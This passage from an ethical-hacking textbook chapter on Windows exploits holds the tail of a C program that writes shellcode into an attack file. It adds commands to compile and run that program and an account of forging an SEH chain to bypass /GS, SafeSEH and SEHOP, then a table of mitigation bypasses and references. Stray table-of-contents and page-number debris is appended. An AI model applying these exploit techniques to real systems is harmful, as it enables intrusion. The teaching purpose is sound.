memcpy(&ucBuffer[0x248],shellcode,0xE3); memset(&ucBuffer[0x32B],'\43',0xcd0); //nop filler printf("done\n"); printf("[3/3] Creating %s file \n",argv[1]); hFile = fopen(argv[1],"wb"); if (hFile) { fwrite((void *)ucBuffer,0x1000,1,hFile); fclose(hFile); printf("Ok, you may attack with %s\n",argv[1]); } } } Chapter 15: Windows Exploits 337 Let’s compile this program with the Visual Studio 2010 Express command-line tool (cl): cl sploit.c Then, run it to create the attack buffer: sploit.exe attack.bin And then feed it to OllyDbg and see what we get: C:\odbg110\ollydbg sploit.exe attack.bin NOTE The offsets and size of the attack buffer took some trial and error, repeatedly launching in OllyDbg and testing until it was correct PART III After running the program in OllyDbg (using several buffer sizes and stack addresses), we managed to build the exact SEH chain required Notice that the first record points to the second, which contains the system exception handler address Also notice the JMP short (EB) instructions to ride the NOP sled into the shellcode (below the final exception handler) Finally, notice that after the program crashes, we have controlled the SEH list (shown on the left in the OllyDbg screenshot) Looks like we are ready to continue in the debugger or run the exploit without a debugger Woot! We have done it We have bypassed /GS, SafeSEH, and SEHOP as well Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 338 Summary of Memory Bypass Methods As we have seen, there are many memory protections in recent Microsoft operating systems However, there are many bypass methods as well Shuichiro Suzuki (of Fourteenforty Research Institute, Inc.) did a great job of summarizing the differences in his presentation on the subject at the CanSecWest 2010 conference We present the findings here, with his permission Protections Windows XP SP3 Windows Vista SP1 Windows 7/2008 /GS + SafeSEH Exploitable by using data area as an exception handler Exploitable by using data area as an exception handler Exploitable by using data area as an exception handler /GS + SafeSEH + Software DEP If all modules are SafeSEH protected it’s difficult to exploit If all modules are SafeSEH protected it’s difficult to exploit If all modules are SafeSEH protected it’s difficult to exploit /GS + Software DEP + Hardware DEP Exploitable by Return-into-libc or Return-oriented programming Exploitable by Returninto-libc or Returnoriented programming Exploitable by Return-into-libc or Return-oriented programming /GS + Software DEP + SEHOP – Exploitable by re-creating proper SEH chain Exploitable by re-creating proper SEH chain /GS + SafeSEH + SEHOP – Exploitable by re-creating proper SEH chain and using data area as an exception handler Exploitable by re-creating proper SEH chain and using data area as an exception handler /GS + Software DEP + SEHOP + Hardware DEP – Exploitable by re-creating proper SEH Chain and using data area and returnoriented programming Exploitable by re-creating proper SEH Chain and using data area and return-oriented programming /GS + SEHOP + ASLR – Difficult to exploit Difficult to exploit /GS + Software DEP + SEHOP + Hardware DEP + ASLR – Difficult to exploit Difficult to exploit References “Bypassing Browser Memory Protections” (Alex Sotirov and Mark Dowd) taossa.com/archive/bh08sotirovdowd.pdf “Exploit Writing Tutorial Part 3: SEH Based Exploits” (Peter Van Eeckhoutte) www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-aquick-and-basic-tutorial-part-3-seh/ Chapter 15: Windows Exploits 339 PART III “Exploit Writing Tutorial Part 6: Bypassing Stack Cookies, SafeSEH, SEHOP, HW DEP and ASLR” (Peter Van Eeckhoutte) www.corelan.be:8800/index php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hwdep-and-aslr/ Exploit Writing Tutorial Part 10: Chaining DEP with ROP – the Rubik’s[TM] Cube www.corelan.be:8800/index.php/2010/06/16/ exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ “Hacker Exploits IE8 on Windows to Win Pwn2Own” (Ryan Naraine, reporting on Peter Vreugdenhil) www.zdnet.com/blog/security/ hacker-exploits-ie8-on-windows-7-to-win-pwn2own/5855 “Practical Return-Oriented Programming” (Dino Zia Zovi) trailofbits.files.wordpress.com/2010/04/practical-rop.pdf pvefindaddr tool and usage wiki redmine.corelan.be:8800/projects/pvefindaddr “Pwn2Own 2010 Windows Internet Explorer Exploit” (Peter Vreugdenhil) vreugdenhilresearch.nl/Pwn2Own-2010-Windows7InternetExplorer8.pdf “Reducing the Effective Entropy of GS Cookies” (Matt Miller, aka skape) uninformed.org/?v=7&a=2 Shuichiro Suzuki’s brief on bypassing SafeSEH http://twitter.com/jugglershu/ status/11692812477 This page intentionally left blank ... Space Considerations 25 1 25 2 25 2 25 3 25 4 25 6 25 7 25 7 25 8 25 8 25 9 26 0 26 0 26 1 26 2 26 3 26 4 Writing Linux Shellcode 26 7 Basic Linux Shellcode ... Determine the Offset(s) 20 1 20 2 20 3 20 4 20 8 20 9 20 9 21 1 21 3 21 5 21 7 21 8 21 8 Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition xiv Determine... Summary of Memory Bypass Methods 29 7 29 7 29 9 304 305 305 306 308 309 3 12 314 316 316 318 318 320 320 320 321 321 322 323 323 324 325 331 338 Understanding and Detecting Content-Type

Ngày đăng: 16/05/2017, 10:27

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan